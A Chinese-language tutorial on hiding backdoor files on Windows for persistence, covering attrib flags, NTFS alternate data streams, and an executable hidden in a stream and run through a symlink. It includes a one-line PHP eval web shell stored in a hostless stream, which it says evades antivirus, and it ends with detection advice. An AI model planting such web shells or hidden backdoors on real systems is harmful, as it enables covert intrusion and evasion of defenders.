权限维持之-文件隐藏bypass
字数 1043 2025-08-10 20:35:57

Windows文件隐藏与权限维持技术详解

一、文件隐藏技术概述

在渗透测试和权限维持过程中,文件隐藏是重要的技术手段,可以避免管理员发现后门文件。本文详细介绍四种Windows系统下的文件隐藏方法。

二、使用文件属性隐藏

1. Attrib命令基础

语法

ATTRIB [+R | -R] [+A | -A] [+S | -S] [+H | -H] [+O | -O] [+I | -I] [+X | -X] [+P | -P] [+U | -U] [drive:][path][filename] [/S [/D]] [/L]

参数说明

  • + 设置属性
  • - 清除属性
  • R 只读文件属性
  • A 存档文件属性
  • S 系统文件属性
  • H 隐藏文件属性
  • O 脱机属性
  • I 无内容索引文件属性
  • X 无清理文件属性
  • V 完整性属性
  • P 固定属性
  • U 非固定属性

2. 实际操作示例

  1. 创建测试文件:

    echo test > 1.txt
    
  2. 设置隐藏和系统属性:

    attrib +H +S 1.txt
    
  3. 效果验证:

    • 普通dir命令无法显示
    • 即使设置显示隐藏文件也无法显示(系统+隐藏属性)

三、NTFS文件流隐藏技术

1. NTFS文件流简介

NTFS文件系统支持Alternate Data Streams (ADS),允许:

  • 单个文件包含多个数据流
  • 主文件流外可附加非主文件流
  • 资源管理器不可见寄生流

2. 基本操作

  1. 创建隐藏流:

    echo hello world >> 2.txt:test.txt
    
  2. 查看隐藏内容:

    notepad 2.txt:test.txt
    

特点

  • 宿主文件(2.txt)显示大小为0字节
  • 冒号后文件名可任意指定
  • 宿主文件格式不限(.txt/.jpg/.exe等)
  • 宿主文件删除则寄生流也被删除

3. 高级隐藏技巧

  1. 无宿主文件隐藏:

    echo hello >> /:hidden.txt
    notepad /:hidden.txt
    
  2. WebShell应用:

    echo "<?php @eval($_REQUEST[123]);?>" > /:test.txt
    echo "<?php include('/:test.txt');?>" > 1.php
    
    • 可绕过360和火绒等安全软件

四、PowerShell与ADS结合

1. 创建ADS文件

echo "This is b.txt" > b.txt
Set-Content b.txt -stream text

2. 查看所有流

Get-Item -path .\b.txt -stream *

3. 注意事项

  • ADS仅在NTFS文件系统有效
  • 传输到FAT32/U盘会自动销毁ADS
  • 不同文件系统间传输会提示错误

五、可执行文件隐藏

1. 将EXE隐藏在文本中

type calc.exe > a.txt:calc.exe
del calc.exe

2. 创建符号链接执行

mklink d.exe c.txt:calc.exe

限制

  • 不能直接执行a.txt:calc.exe
  • 需通过符号链接间接执行

六、防御措施

  1. 使用专用工具检测ADS:

    • dir /r 显示备用数据流
    • 使用Streams工具(Sysinternals)
  2. 文件系统监控:

    • 监控异常文件创建行为
    • 检查可疑的符号链接
  3. 定期扫描:

    • 全盘扫描隐藏文件和异常流
    • 重点关注系统目录和临时目录
  4. 权限控制:

    • 限制非管理员用户创建系统文件
    • 禁用不必要的脚本执行权限

七、总结

本文详细介绍了Windows系统下四种文件隐藏技术:

  1. 文件属性隐藏(attrib)
  2. NTFS备用数据流(ADS)
  3. PowerShell与ADS结合
  4. 可执行文件隐藏

这些技术在渗透测试和权限维持中有重要应用,同时也提醒系统管理员需要加强对此类隐蔽技术的防护。

Windows文件隐藏与权限维持技术详解 一、文件隐藏技术概述 在渗透测试和权限维持过程中,文件隐藏是重要的技术手段,可以避免管理员发现后门文件。本文详细介绍四种Windows系统下的文件隐藏方法。 二、使用文件属性隐藏 1. Attrib命令基础 语法 : 参数说明 : + 设置属性 - 清除属性 R 只读文件属性 A 存档文件属性 S 系统文件属性 H 隐藏文件属性 O 脱机属性 I 无内容索引文件属性 X 无清理文件属性 V 完整性属性 P 固定属性 U 非固定属性 2. 实际操作示例 创建测试文件: 设置隐藏和系统属性: 效果验证: 普通dir命令无法显示 即使设置显示隐藏文件也无法显示(系统+隐藏属性) 三、NTFS文件流隐藏技术 1. NTFS文件流简介 NTFS文件系统支持Alternate Data Streams (ADS),允许: 单个文件包含多个数据流 主文件流外可附加非主文件流 资源管理器不可见寄生流 2. 基本操作 创建隐藏流: 查看隐藏内容: 特点 : 宿主文件(2.txt)显示大小为0字节 冒号后文件名可任意指定 宿主文件格式不限(.txt/.jpg/.exe等) 宿主文件删除则寄生流也被删除 3. 高级隐藏技巧 无宿主文件隐藏: WebShell应用: 可绕过360和火绒等安全软件 四、PowerShell与ADS结合 1. 创建ADS文件 2. 查看所有流 3. 注意事项 ADS仅在NTFS文件系统有效 传输到FAT32/U盘会自动销毁ADS 不同文件系统间传输会提示错误 五、可执行文件隐藏 1. 将EXE隐藏在文本中 2. 创建符号链接执行 限制 : 不能直接执行 a.txt:calc.exe 需通过符号链接间接执行 六、防御措施 使用专用工具检测ADS: dir /r 显示备用数据流 使用Streams工具(Sysinternals) 文件系统监控: 监控异常文件创建行为 检查可疑的符号链接 定期扫描: 全盘扫描隐藏文件和异常流 重点关注系统目录和临时目录 权限控制: 限制非管理员用户创建系统文件 禁用不必要的脚本执行权限 七、总结 本文详细介绍了Windows系统下四种文件隐藏技术: 文件属性隐藏(attrib) NTFS备用数据流(ADS) PowerShell与ADS结合 可执行文件隐藏 这些技术在渗透测试和权限维持中有重要应用,同时也提醒系统管理员需要加强对此类隐蔽技术的防护。